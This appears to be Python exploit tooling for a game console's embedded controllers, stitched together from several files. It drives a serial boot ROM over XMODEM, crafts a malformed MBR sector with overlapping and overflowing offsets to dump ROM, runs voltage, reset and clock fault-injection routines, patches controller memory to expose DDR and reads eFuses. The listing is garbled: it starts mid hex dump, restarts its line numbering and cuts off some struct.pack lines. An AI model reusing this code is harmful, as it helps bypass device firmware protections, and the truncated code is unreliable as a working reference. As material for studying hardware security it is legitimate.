2D 9B 2A DB D2 143 | 60 5A F6 02 DB 2E E0 A2 48 A1 69 AF 1E C1 FF 78 144 | 6C 77 2F 12 D7 54 89 33 74 00 59 56 59 B4 DD 0C 145 | 5D 09 52 BA 84 FE BE 8B 8E 2A 7E D6 A0 94 C2 82 146 | 06 D1 7D BF D4 32 1D 74 FF B3 73 CB CB 13 A2 A9 147 | 9D DE 55 2B 50 14 99 09 C2 1B 54 60 7F 08 B9 27 148 | CC 0B 8A 8F 98 3F 8D 83 10 C8 46 28 B5 F5 12 79 149 | 05 0F 94 6C 4D 51 4B CA 63 A8 88 C0 77 AE 5E 6A 150 | 07 FE 6B 32 39 01 9F 78 17 05 FC B2 A3 92 9A B8 151 | 70 26 9B 36 23 E4 7D 55 F3 2D A4 87 1A 32 6E EB 152 | CA 8C 03 E7 E3 80 3E 47 A5 73 2E EB 6D 09 46 5B 153 | E3 5C BA F2 A9 F9 38 2A 01 C2 68 1C 9E D3 EA 2E 154 | 47 7C 39 37 E3 60 D0 91 F1 C4 BA CE 7C E6 30 33 155 | 52 97 79 9B DE BF 93 B6 B3 14 BB 99 F0 FC 57 5A 156 | DC DB 3C 5B BF 1C 00 3E 77 E8 52 1B 9A F8 D7 D0 157 | 4B E1 0A 94 94 EE 1B 92 A6 FD F4 D4 0E EF 4D ED 158 | 51 60 A0 36 80 C3 FE 2A 55 7C 5D 4A 08 0B 36 9D 159 | 91 66 ED 20 14 49 7C A8 5A B1 13 C4 19 44 2F 1E 160 | 8E 89 38 F6 B0 4B 7D 6D 77 BA 0D 69 11 52 94 8D 161 | 48 4B E8 AD 5B 9E 2B B8 47 A2 DB 46 25 95 F0 7E 162 | 1C 12 A9 F0 81 FE 52 D7 D3 4B 56 0B 1E 07 FD CF 163 | 76 D4 F6 C6 47 B7 97 2B 89 DA 07 3A C8 94 89 76 164 | 19 38 1D 9E 97 B6 C5 CD E3 78 A4 05 0B 44 7E F4 165 | 9C 8E 23 32 01 E0 A9 B1 D1 C1 64 0D BF 98 6C 02 166 | C0 81 5B F2 3F F1 8D CF EC 0C 9B DD FD 3C 1D 70 167 | 34 22 34 3D 79 A9 0F E9 86 EC 26 5D 24 51 A4 E5 168 | EE A3 61 AC 36 59 BB FD 7F 2C AC E4 42 C0 F2 A4 169 | 8B F3 EB C3 25 43 E5 56 19 CB E6 5F CB 25 83 34 170 | F1 F9 BD 7E 84 F0 4B 55 1A 4E 70 84 C3 1C 00 4C 171 | 81 3D 74 81 D3 1A F0 BC B8 A2 97 EF F2 B7 E9 DD 172 | 63 F1 02 B2 37 76 A7 3A 63 08 64 BA BA 15 0C AC 173 | 5A 3D DE FF DC AD 1C 87 58 F2 CB 45 30 E7 93 C6 174 | 9D 09 AA 53 21 2D 4D 96 EE 37 D3 56 F9 3C 95 70 175 | 26 70 E8 0F 7C 18 11 DB B3 94 21 A3 FB B5 E4 0E 176 | 17 04 34 14 D6 27 E5 58 B0 9F A1 5B 19 7D C3 44 177 | 4A 51 A6 ED FD AE D2 62 29 69 2D 6C E4 7F A0 BC 178 | 65 E0 7F 04 6F BA AB 03 4A 60 81 05 F8 AF AC 59 179 | CF 4E 47 66 20 8B 60 3C 6F F9 1B B3 98 39 C0 BF 180 | 52 E8 4B 5C 39 31 A3 93 59 CC 5C 5C 7A 4D 20 99 181 | 9F 9B 62 DD AE 00 71 3D 6D 0A 4F 9A 0F 94 9C 66 182 | F8 97 45 91 3E 78 BE 4A 46 CE C9 4B 4C FF 98 64 183 | 84 94 97 17 7C 92 A9 23 3F B4 37 B2 1D 0A 79 68 184 | E6 7A FE 7B FC A6 B4 10 13 E4 B9 47 1D A9 CB 25 185 | AD 60 5C 43 AA 3E 13 42 9B 21 20 11 55 94 5A DC 186 | 53 55 5A 8A EA ED 07 A5 9F 2A 76 A8 8F 23 BB 40 187 | E7 9B 94 E5 3F 6C 50 D9 D8 31 21 1E B3 D6 72 BA 188 | FB B0 DC BE BF D5 17 A2 CF 82 42 26 CD C9 07 FA 189 | 9C F1 B9 F3 AB 5F CE 20 DB AD BA 37 70 7F 5D 83 190 | 77 F8 7B F3 EA 59 E5 CA E7 AD FB 9F 61 B6 05 1E 191 | 4B 8B ED 1E 9B 37 0D 42 39 EC 93 17 D7 49 75 0A 192 | 04 4A BB 87 68 F9 12 85 C4 9B 7C 18 25 39 0F AE 193 | DB 00 CE C3 9E 22 75 95 4D BE 99 A4 9F BC 1D 3C 194 | 74 29 5A 00 47 2D 3D CD 00 36 17 62 B1 2C E9 E5 195 | 46 62 D4 70 E3 8C 02 A0 3C A3 4E 75 20 25 84 B6 196 | C1 06 C5 9C 85 E9 B5 45 BB 21 62 AF 27 A0 77 E7 197 | 0A DF 14 E7 B5 51 9D 1B C5 8B FE 9A 30 06 FA EF 198 | 1A 95 9A 15 38 C2 73 17 B9 C5 9D 92 32 2D 3A AA 199 | C1 86 21 41 5F B9 39 03 23 9A A5 A2 F5 CB 46 84 200 | 4B 6E E8 4A D9 5B 62 4B 6D 30 3A EA A8 A0 3F A4 201 | 3D 52 B2 18 24 C1 A3 78 18 E7 CE CC 97 85 75 D0 202 | 73 9B 53 6E CE 2E EC 66 F0 4D 78 5D DD 85 CF 16 203 | B9 0A 95 C3 12 AD 75 F4 5C C1 48 D6 32 BE F1 5F 204 | C2 5B 0E EC 94 53 22 87 D3 88 A5 F4 E5 74 48 3E 205 | C7 83 91 48 EF D0 45 97 D0 6F E2 6B 8E A2 9B F7 206 | 2E 65 87 87 D8 08 93 A7 6C 1B 2D 81 50 98 9A 12 207 | 85 A6 C9 D0 16 6B 48 2D C2 90 E7 4A 1B 7B 38 F1 208 | B8 20 42 DA AD B8 76 21 7E A3 05 38 EF 5B 5A 65 209 | 00 00 00 00 00 00 00 00 68 00 00 02 01 00 00 00 210 | 74 32 2E 30 2E 31 30 30 2E 53 2E 30 32 2E 30 32 211 | 37 35 61 30 30 30 00 00 00 00 00 00 00 00 00 00 212 | 00 00 00 00 00 00 00 00 30 39 50 30 37 00 00 00 213 | ''') 214 | 215 | s = Stuff() 216 | rv, msg = s.xm_eot() 217 | if rv == s.EOT or msg.find(b'0x03090000'): 218 | s.rom_cmd('down') 219 | ''' 220 | pub struct EfcHeader { 221 | /* 0x000 */ pub magic: [u8; 4], // 1d 33 47 77 222 | /* 0x004 */ pub field_0: u8, // always 0. ignored? 223 | /* 0x005 */ pub fw_type: u8, // 1=efc(only valid when gpio selects efc), 2=eap(only valid when gpio selects eap), 4=(only valid when gpio selects efc), 0x99=weird, small blob. valid in both 224 | /* 0x006 */ pub field_2: u8, // always 0xff. ignored? 225 | /* 0x007 */ pub field_3: u8, // 0. ignored? 226 | /* 0x008 */ pub data_size: u32, // max 0x1dd800 (header_size + data_size <= 0x1e0000) 227 | /* 0x00C */ pub header_size: u32, // hardcoded to 0x2800 in rom, ignored 228 | /* 0x010 */ pub key: [u8; 16], // same value for a given chip revision 229 | /* 0x020 */ pub data_pub_key: [u8; 0x180], // same value for a given chip revision 230 | /* 0x1A0 */ pub header_sig: [u8; 0x180], // Unknown pub-key. 231 | /* 0x320 */ pub data_sig: [u8; 0x180], 232 | } 233 | 306xxxx: cpu=0x99, when some byte of the hdr is wrong (e.g. magic). xxxx are offending byte values 234 | cpu=0x99 apparently expects payload_len=0x360 235 | cpu=0x99, hdr_len <= 0xa0 has run error 0x30b0000, [0xa1, 0x4a0) has run error 0x6040000, 0x4a0 has run error 0x604001, >= 0x4a1 returns 'C' 236 | so, cpu=0x99 must have payload_len=0x360 and hdr_len set such that data takes up 2 xmodem blocks 237 | getting loaded to 0x01000000 238 | 239 | log when it boots from nand: 240 | 0x040C0000 241 | 0x040C0100 242 | 0x040C0200 243 | 0x040C0300 244 | 0x040C0400 245 | 0x040C0500 246 | 0x040C0600 247 | 0x040C0700 248 | 0x040C0800 249 | 0x040C0900 250 | 0x040C0A00 251 | 0x040C0B00 252 | 0x040D0000 253 | 0x040B0000 254 | 0x040B0001 255 | 0x010A0000 256 | ''' 257 | 258 | def make_buf(size): 259 | words = [] 260 | for i in range(0, size, 4): 261 | val = 0xccd00000 | (i>>2) 262 | words.append(val.to_bytes(4, 'little')) 263 | return b''.join(words) 264 | 265 | hdr_len = 0x2800 266 | payload_len = 0 # range 0x400 <= size <= 0x1dd800. error 0x030Axxxx if > 0x1dd800. xxxx is related to amount out of range. < 0x400 results in nothing being read 267 | hdr = struct.pack(' 0x1dd800. xxxx is related to amount out of range. < 0x400 results in nothing being read 279 | hdr = struct.pack(' [FER] FcErr_NotifyCb[bit:08] 40 | [FER] FcErr_getFw1ErrLog[PSQ] [Read Titania PMIC Register Start]] 41 | seems to cause watchdog irq on all efc cores 42 | """ 43 | 44 | FW_EFC_FW0 = 1 # efc_ipl 45 | FW_EFC_FW1 = 2 # eap_kbl 46 | FW_PSP_BL = 0x10 # mbr, secldr, kernel 47 | FW_WIFI = 0x12 # blob for wifi/bt dongle 48 | FW_14 = 0x14 # suspiciously unused? but it reads back all zero (at least the "current" nand allocated to it...) 49 | FW_IDATA = 0x15 # idstorage 50 | 51 | FW_SIZES = { 52 | FW_EFC_FW0: 0x0181000, 53 | FW_EFC_FW1: 0x00B6800, 54 | FW_PSP_BL: 0x4000000, 55 | FW_WIFI: 0x0200000, 56 | FW_14: 0x3A00000, 57 | FW_IDATA: 0x0200000, 58 | } 59 | 60 | 61 | class StatusCode: 62 | kSuccess = 0 63 | kRxInputTooLong = 0xE0000002 64 | kRxInvalidChar = 0xE0000003 65 | kRxInvalidCsum = 0xE0000004 66 | kUcmdEINVAL = 0xF0000001 67 | kUcmdUnknownCmd = 0xF0000006 68 | # SyntheticError (our own codes) 69 | kEmcInReset = 0xDEAD0000 70 | kFwConstsVersionFailed = 0xDEAD0001 71 | kFwConstsVersionUnknown = 0xDEAD0002 72 | kFwConstInvalid = 0xDEAD0003 73 | kSetPayloadTooLarge = 0xDEAD0004 74 | kSetPayloadPuareq1Failed = 0xDEAD0005 75 | kSetPayloadPuareq2Failed = 0xDEAD0006 76 | kExploitVersionUnexpected = 0xDEAD0007 77 | kExploitFailedEmcReset = 0xDEAD0008 78 | kChipConstsInvalid = 0xDEAD0009 79 | # For rom frames 80 | kRomFrame = 0xDEAD000A 81 | 82 | 83 | class ResultType: 84 | kTimeout = 0 85 | kUnknown = 1 86 | kComment = 2 87 | kInfo = 3 88 | kOk = 4 89 | kNg = 5 90 | 91 | 92 | class PicoFrame: 93 | def __init__(self, stream): 94 | self._type, size = struct.unpack(" ResultType: 133 | return self._type 134 | 135 | @property 136 | def status(self) -> StatusCode: 137 | return self._status 138 | 139 | @property 140 | def response(self) -> str: 141 | return self._response 142 | 143 | def __repr__(self) -> str: 144 | if self.is_ok_or_ng(): 145 | r = "OK" if self.is_ok() else "NG" 146 | return f"{r} {self.status:08X} {self.response}" 147 | elif self.is_comment(): 148 | return f"# {self.response}" 149 | elif self.is_info(): 150 | return f"$$ {self.response}" 151 | elif self.is_unknown(): 152 | return self.response 153 | return "timeout" 154 | 155 | class Ucmd: 156 | def __init__(self): 157 | self.port = Serial("COM5", timeout=0.5) 158 | self.rom_buf = b'' 159 | 160 | def wait_frame(self, accept_types, **kwargs) -> list[PicoFrame]: 161 | response = kwargs.get("response") 162 | timeout = kwargs.get("timeout") 163 | if not isinstance(accept_types, tuple): 164 | accept_types = (accept_types,) 165 | if timeout is not None: 166 | timeout_orig = self.port.timeout 167 | self.port.timeout = timeout 168 | frames = [] 169 | try: 170 | while True: 171 | frame = PicoFrame(self.port) 172 | # print(frame) 173 | frames.append(frame) 174 | if frame.rtype in accept_types and (response is None or response == frame.response): 175 | break 176 | except: 177 | print("\t\ttimeout") 178 | pass 179 | if timeout is not None: 180 | self.port.timeout = timeout_orig 181 | return frames 182 | 183 | def cmd_send_recv(self, *args, **kwargs) -> list[PicoFrame]: 184 | cmdline = " ".join(args) 185 | self.port.write(bytes(cmdline + "\n", "ascii")) 186 | self.wait_frame(ResultType.kUnknown, response=cmdline) 187 | return self.wait_frame((ResultType.kOk, ResultType.kNg), **kwargs) 188 | 189 | 190 | def _rom_pull_bytes(self): 191 | frames = self.wait_frame(ResultType.kOk) 192 | if len(frames) == 0: 193 | return 0 194 | num_read = 0 195 | for frame in frames: 196 | if not frame.is_ok_status(StatusCode.kRomFrame): 197 | continue 198 | data = bytes.fromhex(frame.response) 199 | num_read += len(data) 200 | self.rom_buf += data 201 | return num_read 202 | 203 | def rom_read(self, size: int): 204 | while len(self.rom_buf) < size: 205 | self._rom_pull_bytes() 206 | buf = self.rom_buf[:size] 207 | self.rom_buf = self.rom_buf[size:] 208 | return buf 209 | 210 | def rom_read_discard(self): 211 | while self._rom_pull_bytes() != 0: 212 | pass 213 | self.rom_buf = b'' 214 | 215 | def rom_read_until(self, term: bytes): 216 | while True: 217 | term_pos = self.rom_buf.find(term) 218 | if term_pos >= 0: 219 | end = term_pos + len(term) 220 | rv = self.rom_buf[:end] 221 | self.rom_buf = self.rom_buf[end:] 222 | return rv 223 | 224 | if self._rom_pull_bytes() == 0: 225 | return None 226 | 227 | # info, down, jump 228 | def rom_cmd(self, cmd: str): 229 | cmd = bytes(cmd + '\n', 'ascii').hex() 230 | self.port.write(bytes(cmd + '\n', 'ascii')) 231 | self.rom_read_until(b'\n> ') 232 | 233 | def rom_info(self): 234 | self.rom_cmd('info') 235 | self.rom_read_until(b'\n') 236 | return str(self.rom_read_until(b'\n')[:-1], 'ascii') 237 | 238 | # starts xmodem 239 | def rom_down(self): 240 | self.rom_cmd('down') 241 | self.rom_read_until(b'\n') 242 | ready = self.rom_read_until(b'\n') 243 | assert ready == b'\x15ready\n' 244 | 245 | def rom_send(self, buf: bytes): 246 | from xmodem import XMODEM 247 | import io 248 | def getc(size: int, timeout=1): 249 | #print('getc', size) 250 | return self.rom_read(size) 251 | def putc(data: bytes, timeout=1): 252 | #print('putc', data.hex()) 253 | for i in range(0, len(data), 66): 254 | line = data[i:i+66].hex() + '\n' 255 | self.port.write(bytes(line, 'ascii')) 256 | import time 257 | time.sleep(.01) 258 | xm = XMODEM(getc, putc) 259 | self.rom_read_discard() 260 | def debug(total_packets, success_count, error_count): 261 | print(f'{total_packets:x} {total_packets*0x80:x}') 262 | return xm.send(io.BytesIO(buf), callback=debug) 263 | 264 | def rom_fill_sram(self): 265 | self.pico_emc_rom_enter() 266 | self.rom_read_discard() 267 | self.rom_down() 268 | buf = b'' 269 | for i in range(0, 0xa9e00, 4): 270 | buf += (0xcac0_0000 + i).to_bytes(4, 'little') 271 | self.rom_send(buf) 272 | 273 | # 7a110:a4200 seems uninit from rom 274 | # should be plenty of space to copy rom to 0x80000 275 | # expect it to be < 0x8000 276 | 277 | self.pico_emc_rom_exit() 278 | buf = self.emc_read(0x100000, 0xAC000) 279 | Path('after_rom_sram_fill.bin').write_bytes(buf) 280 | 281 | def rom_dump(self): 282 | self.pico_emc_rom_enter() 283 | self.rom_read_discard() 284 | self.rom_down() 285 | 286 | sector = bytearray(0x200) 287 | # point indicator so it overlaps ox 288 | sector[0x34:0x38] = int(0).to_bytes(4, 'little') 289 | # indicator: choose mbr_offsets[1] 290 | sector[0:4] = int(0x80).to_bytes(4, 'little') 291 | # ox.mbr_offsets[1] = also overalapped 292 | sector[0x28:0x2c] = int(0).to_bytes(4, 'little') 293 | # mbr.ipl_end 294 | sector[0x24:0x28] = int(0xffffffff).to_bytes(4, 'little') 295 | # mbr.ipl_offset 296 | sector[0x30:0x34] = int((1<<32)-0x100c00).to_bytes(4, 'little') 297 | # mbr.ipl_size 298 | sector[0x34:0x38] = int(0x10000).to_bytes(4, 'little') 299 | 300 | self.rom_send(sector) 301 | self.rom_jump() 302 | 303 | self.pico_emc_rom_exit() 304 | self.wait_frame(ResultType.kInfo, timeout=5) 305 | self.unlock() 306 | buf = self.emc_read(0x100000, 0xc00) 307 | Path('salina_rom_dump.bin').write_bytes(buf) 308 | 309 | def rom_jump(self): 310 | # failure inf loops 311 | self.rom_cmd('jump') 312 | self.rom_read_until(b'\n') 313 | rv = int(self.rom_read_until(b'\n')[:-1], 16) 314 | return rv 315 | 316 | def unlock(self): 317 | return self.cmd_send_recv("unlock", timeout=2) 318 | 319 | def screset(self, val=0): 320 | # arg gets poked into WDT. if arg is "sc" or "subsys", pokes 0 321 | return self.cmd_send_recv(f"screset {val}", timeout=5) 322 | 323 | def runseq(self, seq_id): 324 | return self.cmd_send_recv(f"runseq {seq_id:04X}") 325 | 326 | def gpio_set(self, group: str, num: int, val: int): 327 | group = group.lower() 328 | assert group in ("a", "c", "d") 329 | assert val in (0, 1) 330 | val = ("clr", "set")[val] 331 | return self.cmd_send_recv(f"port {val} {group} {num}") 332 | 333 | def gpio_get(self, group: str, num: int): 334 | group = group.lower() 335 | assert group in ("a", "c", "d") 336 | return self.cmd_send_recv(f"port get {group} {num}") 337 | 338 | def pg2_fc_rails_set(self, enable: bool): 339 | return self.gpio_set("a", 16, 1 if enable else 0) 340 | 341 | def fc_reset_set(self, reset: bool): 342 | return self.gpio_set("a", 29, 0 if reset else 1) 343 | 344 | def fc_bootmode_set(self, uart: bool): 345 | return self.gpio_set("a", 30, 1 if uart else 0) 346 | 347 | def fc_cpu_set(self, eap: bool): 348 | return self.gpio_set("a", 31, 1 if eap else 0) 349 | 350 | def install_custom_cmd(self): 351 | code = load_bin("emc_cmd_handler") 352 | ucmd_cec = 0x141458 353 | assert len(code) <= 0x92C 354 | self.emc_write(ucmd_cec, code) 355 | 356 | def _custom_cmd(self, cmd: int, *args): 357 | args = " ".join(map(lambda x: f"{x:x}", args)) 358 | return self.cmd_send_recv(f"cec {cmd:x} {args}") 359 | 360 | def toggle(self, addr: int, val: int, set: bool, delay: int): 361 | return self._custom_cmd(0, addr, val, set, delay) 362 | 363 | def toggle_fast(self, addr: int, val: int): 364 | return self._custom_cmd(1, addr, val) 365 | 366 | def titania_spi_init(self): 367 | # needed or else titania spi reads are bitshifted by 1 368 | return self._custom_cmd(2) 369 | 370 | # dump |count| lines of 0x7c bytes 371 | def sflash_dump(self, addr: int, count: int = 1): 372 | return self._custom_cmd(3, addr, count) 373 | 374 | def sflash_dump_all(self): 375 | with Path(__file__).with_name("sflash_dump.bin").open("wb") as f: 376 | num_lines = 0x20 377 | for i in trange(0, 0x200000, 0x7C * num_lines): 378 | for frame in self.sflash_dump(i, num_lines): 379 | if not frame.is_comment(): 380 | continue 381 | f.write(bytes.fromhex(frame.response)) 382 | 383 | def ddr_write_18(self, addr: int, data: bytes): 384 | assert len(data) <= 4 * 6 385 | data = data.ljust(4 * 6, b"\0") 386 | data = [int.from_bytes(data[i : i + 4], "little") for i in range(0, 4 * 6, 4)] 387 | self._custom_cmd(4, addr, *data) 388 | 389 | def ddr_write(self, addr: int, data: bytes): 390 | for i in trange(0, len(data), 4 * 6): 391 | self.ddr_write_18(addr + i, data[i : i + 4 * 6]) 392 | 393 | def ddr_write_hook(self, addr: int, match: int, target: int): 394 | return self._custom_cmd(5, addr, match, target) 395 | 396 | # dies around 36 397 | def glitch_fc_vcc(self, delay: int): 398 | # a16 low for given cycles 399 | return self.toggle(0x5F032420, 0x80, False, delay) 400 | 401 | def glitch_fc_reset(self, delay: int = 1): 402 | # a29 low for given cycles 403 | return self.toggle(0x5F032420, 0x100000, False, delay) 404 | # return self.toggle_fast(0x5F032420, 0x100000) 405 | 406 | # dies around 54 407 | def glitch_fc_clk0(self, delay: int): 408 | return self.toggle(0x5F007404, 0x1000, False, delay) 409 | 410 | # dies around 36 411 | def glitch_fc_clk1(self, delay: int): 412 | return self.toggle(0x5F007414, 0x40, False, delay) 413 | 414 | def cmd_state_change(self, cmd): 415 | self.cmd_send_recv(cmd) 416 | # this is just an attempt to not flood emc. it is ok if it times out 417 | self.wait_frame(ResultType.kInfo, timeout=5) 418 | 419 | def pg2_on(self): 420 | self.cmd_state_change("pg2on") 421 | 422 | def pg2_off(self): 423 | self.cmd_state_change("pg2off") 424 | 425 | def efc_on(self): 426 | self.cmd_state_change("efcon") 427 | 428 | def efc_off(self): 429 | self.cmd_state_change("efcoff") 430 | 431 | def eap_on(self): 432 | self.cmd_state_change("eapon") 433 | 434 | def eap_off(self): 435 | self.cmd_state_change("eapoff") 436 | 437 | def efc_reset(self): 438 | self.efc_off() 439 | self.efc_on() 440 | 441 | def fatal_off(self): 442 | return self.cmd_send_recv('pprfoff') 443 | 444 | def fatal_clear(self): 445 | return self.cmd_send_recv('pprclrf') 446 | 447 | def parse_hexdump(self, frames: list[PicoFrame]): 448 | rv, lines = frames[-1], frames[:-1] 449 | if not rv.is_ok(): 450 | return None 451 | data = [] 452 | for l in lines: 453 | if not l.is_comment(): 454 | continue 455 | sc_pos = l.response.find(":") 456 | if sc_pos < 0: 457 | continue 458 | for word in l.response[sc_pos + 1 :].split(): 459 | num_bytes = len(word) // 2 460 | data.append(int(word, 16).to_bytes(num_bytes, "little")) 461 | return b"".join(data) 462 | 463 | def fcddr_read(self, addr, size): 464 | addr_aligned = align_down(addr, 4) 465 | offset = addr - addr_aligned 466 | # because of emc bug, need multiple of 0x10 to get 'OK' on newline 467 | size_aligned = align_up(offset + size, 0x10) 468 | data = self.parse_hexdump(self.cmd_send_recv(f"fcddrr {addr_aligned:x} {size_aligned:x}")) 469 | return data[offset : offset + size] 470 | 471 | def fcddr_read32(self, addr): 472 | return int.from_bytes(self.fcddr_read(addr, 4), "little") 473 | 474 | def fcddr_write32(self, addr, val): 475 | # only supports single 32bit write at a time 476 | self.cmd_send_recv(f"fcddrw {addr:x} {val:x}") 477 | 478 | def fcddr_write(self, addr, data): 479 | offset = addr & 3 480 | if offset != 0: 481 | addr -= offset 482 | val = self.fcddr_read(addr, offset) 483 | self.fcddr_write32(addr, int.from_bytes(val + data[: 4 - offset], "little")) 484 | addr += 4 485 | data = data[4 - offset :] 486 | len_aligned = align_down(len(data), 4) 487 | for i in range(0, len_aligned, 4): 488 | self.fcddr_write32(addr + i, int.from_bytes(data[i : i + 4], "little")) 489 | rem = len(data) - len_aligned 490 | if rem != 0: 491 | addr += len_aligned 492 | val = self.fcddr_read(addr + rem, 4 - rem) 493 | self.fcddr_write32(addr, int.from_bytes(data[len_aligned:] + val, "little")) 494 | 495 | FCDDR_REAL_SIZE = 0x20000000 496 | 497 | def fcddr_alias_read(self, addr: int, size: int): 498 | return self.fcddr_read(self.FCDDR_REAL_SIZE + addr, size) 499 | 500 | def fcddr_alias_write(self, addr: int, buf: bytes): 501 | return self.fcddr_write(self.FCDDR_REAL_SIZE + addr, buf) 502 | 503 | def fcddr_addr_to_emc(self, addr: int) -> int: 504 | return (addr - 0x60000000) & 0xFFFFFFFF 505 | 506 | def emc_read(self, addr: int, size: int) -> bytes: 507 | return self.fcddr_read(self.fcddr_addr_to_emc(addr), size) 508 | 509 | def emc_read32(self, addr: int) -> int: 510 | return self.fcddr_read32(self.fcddr_addr_to_emc(addr)) 511 | 512 | def emc_write(self, addr: int, buf: bytes): 513 | self.fcddr_write(self.fcddr_addr_to_emc(addr), buf) 514 | 515 | def emc_write32(self, addr: int, val: int): 516 | self.fcddr_write32(self.fcddr_addr_to_emc(addr), val) 517 | 518 | def emc_or32(self, addr: int, val: int): 519 | addr = self.fcddr_addr_to_emc(addr) 520 | self.fcddr_write32(addr, self.fcddr_read32(addr) | val) 521 | 522 | def emc_andn32(self, addr: int, val: int): 523 | addr = self.fcddr_addr_to_emc(addr) 524 | self.fcddr_write32(addr, self.fcddr_read32(addr) & ~val) 525 | 526 | VMMIO_TITANIA_SPI = 0x700000 527 | VMMIO_RT5127 = 0x800000 528 | VMMIO_STORAGE_INSTANT = 0x10C00000 529 | VMMIO_STORAGE = 0x10D00000 530 | 531 | def vmmio_r32(self, addr, size): 532 | return self.parse_hexdump(self.cmd_send_recv(f"r32 {addr:x} {size:x}")) 533 | 534 | def vmmio_w32(self, addr, val): 535 | return self.parse_hexdump(self.cmd_send_recv(f"w32 {addr:x} {val:x}")) 536 | 537 | def vmmio_r8(self, addr, size): 538 | return self.parse_hexdump(self.cmd_send_recv(f"r8 {addr:x} {size:x}")) 539 | 540 | def vmmio_w8(self, addr, val): 541 | if isinstance(val, bytes): 542 | vals = " ".join(map(lambda x: f"{x:02x}", val)) 543 | elif isinstance(val, int): 544 | vals = f"{val:02x}" 545 | return self.parse_hexdump(self.cmd_send_recv(f"w8 {addr:x} {vals}")) 546 | 547 | def storage_r8(self, offset: int, count: int): 548 | return self.vmmio_r8(self.VMMIO_STORAGE + offset, count) 549 | 550 | def storage_w8(self, offset: int, data: bytes): 551 | return self.vmmio_w8(self.VMMIO_STORAGE + offset, data) 552 | 553 | # value in storage is seperate from, but considered in addition to value set by btdisable ucmd 554 | def bt_disable_set(self, disable=True): 555 | # set in sflash (not instant) - requires reset to take effect 556 | return self.storage_w8(0x9c5, 0 if disable else 0xff) 557 | 558 | def titania_pmic_r8(self, reg): 559 | return self.vmmio_r8(self.VMMIO_RT5127 + reg, 1) 560 | 561 | def titania_pmic_w8(self, reg, val: int): 562 | return self.vmmio_w8(self.VMMIO_RT5127 + reg, val) 563 | 564 | def spi_read(self, addr, size): 565 | assert (addr % 4) == 0 566 | assert (size % 4) == 0 567 | return self.vmmio_r32(self.VMMIO_TITANIA_SPI + addr, size) 568 | 569 | def spi_read32(self, addr): 570 | return int.from_bytes(self.spi_read(addr, 4), "little") 571 | 572 | def spi_write32(self, addr, val): 573 | assert (addr % 4) == 0 574 | return self.vmmio_w32(self.VMMIO_TITANIA_SPI + addr, val) 575 | 576 | def spi_or32(self, addr, val): 577 | return self.spi_write32(addr, self.spi_read32(addr) | val) 578 | 579 | def spi_andn32(self, addr, val): 580 | return self.spi_write32(addr, self.spi_read32(addr) & ~val) 581 | 582 | def spi_sram_keep(self, enable: bool): 583 | mask = 1 << 24 584 | addr = 0x9130 585 | if enable: 586 | self.spi_or32(addr, mask) 587 | else: 588 | self.spi_andn32(addr, mask) 589 | 590 | def efuse_read32(self, index): 591 | self.spi_write32(0x4004, 1) 592 | self.spi_write32(0x4008, 0) 593 | # repeats at index=0x20 594 | self.spi_write32(0x4010, index) 595 | self.spi_write32(0x4000, 4 | 1) 596 | while True: 597 | if self.spi_read32(0x4004) & 1: 598 | break 599 | val = self.spi_read32(0x4014) 600 | self.spi_write32(0x4004, 1) 601 | return val 602 | 603 | def spi_soft_reset(self): 604 | self.spi_andn32(0x9094, 0x40) 605 | self.spi_or32(0x9094, 1) 606 | 607 | # WCB_DRAIN_REQ, Drain the buffer to DDR 608 | self.spi_write32(0xA020, 0x1F000002) 609 | # wait drain 610 | while True: 611 | x = self.spi_read32(0xA004) 612 | # hex-rays garbage 613 | if (~x & 0xF9FFF) == 0 or (~x & 0xB9FFF) == 0: 614 | break 615 | # sleep 1ms 616 | 617 | # SR_REQ=1 618 | self.spi_write32(0xA020, 0x1F000040) 619 | # wait self refresh done 620 | while (self.spi_read32(0xA008) & 4) == 0: 621 | pass # sleep 1ms 622 | 623 | # halt the scheduler? 624 | self.spi_or32(0xA044, 2) 625 | 626 | # WARM_RST_FW=0,WDT_RBOOT_TMR_MAX_VAL=fff 627 | self.spi_write32(0x9090, 0x0FFF0000) 628 | # WARM_RST_FW=1,WDT_RBOOT_TMR_MAX_VAL=fff 629 | self.spi_write32(0x9090, 0x8FFF0000) 630 | 631 | def sccmd(self, cmd, *args, delay=300): 632 | assert len(args) <= 4 633 | args = list(args) + [0] * (4 - len(args)) 634 | return self.cmd_send_recv(f"sccmd {cmd} {args[0]:x} {args[1]:x} {args[2]:x} {args[3]:x} {delay}") 635 | 636 | def load_fw(self, fw, to_dram, offset): 637 | return self.sccmd(1, fw, to_dram, offset) 638 | 639 | def setup_bar(self, mode, size, init_val): 640 | # mode 0: emc, 1: psp, 2: ? 641 | return self.sccmd(2, mode, size, init_val) 642 | 643 | def _open_close_nand_access(self, op): 644 | self.sccmd(5, op) 645 | 646 | def nand_open(self): 647 | self._open_close_nand_access(0) 648 | 649 | def nand_open_safe(self): 650 | self._open_close_nand_access(2) 651 | 652 | def nand_close(self): 653 | self._open_close_nand_access(1) 654 | 655 | def fw1ver(self): 656 | return self.cmd_send_recv("fw1ver") 657 | 658 | def fw1err(self): 659 | return self.cmd_send_recv("fw1err") 660 | 661 | def do_seq(self): 662 | # 16 Main SoC Power ON (Cold Boot) 663 | seq = [ 664 | 0x215D, 665 | 0x203A, 666 | 0x203D, 667 | 0x2126, 668 | 0x2128, 669 | 0x212A, 670 | 0x2135, 671 | 0x211F, 672 | 0x2023, 673 | 0x2125, 674 | # emc crash for some reason? 675 | # 0x2121, 676 | 0x2175, 677 | 0x2133, 678 | 0x2167, 679 | 0x2141, 680 | 0x205F, 681 | 0x2123, 682 | 0x2136, 683 | 0x2137, 684 | 0x216D, 685 | 0x2060, 686 | 0x2061, 687 | 0x2025, 688 | ] 689 | # 17 Main SoC Reset Release 690 | seq += [ 691 | 0x206B, 692 | 0x2127, 693 | 0x204A, 694 | # socrtg 695 | # 0x2129, 0x212f, 0x2169, 0x2161, 0x213c, 0x213d, 0x213f, 696 | # 0x2050, 0x2083, 0x2155, 0x205c, 0x217f 697 | ] 698 | seq += [ 699 | # 0x201b, 700 | ] 701 | for s in seq: 702 | self.runseq(s) 703 | 704 | def unlock_efc(self, use_uart_shell=False): 705 | # patch emc's titania_ddr_density to make alias 706 | # this avoids having to actually change the value in nvs(0:0x50) 707 | self.emc_write(0x13423A, bytes.fromhex("00bf")) 708 | 709 | # powercycle efc so new density is used 710 | self.pg2_on() 711 | self.efc_reset() 712 | 713 | # dummy fw load + map to expose ddr4 over pcie 714 | self.load_fw(FW_WIFI, 1, 0x1000000) 715 | self.setup_bar(0, 0, 0) 716 | 717 | # deinit magic 718 | self.spi_write32(0, 0xDEADBEEF) 719 | 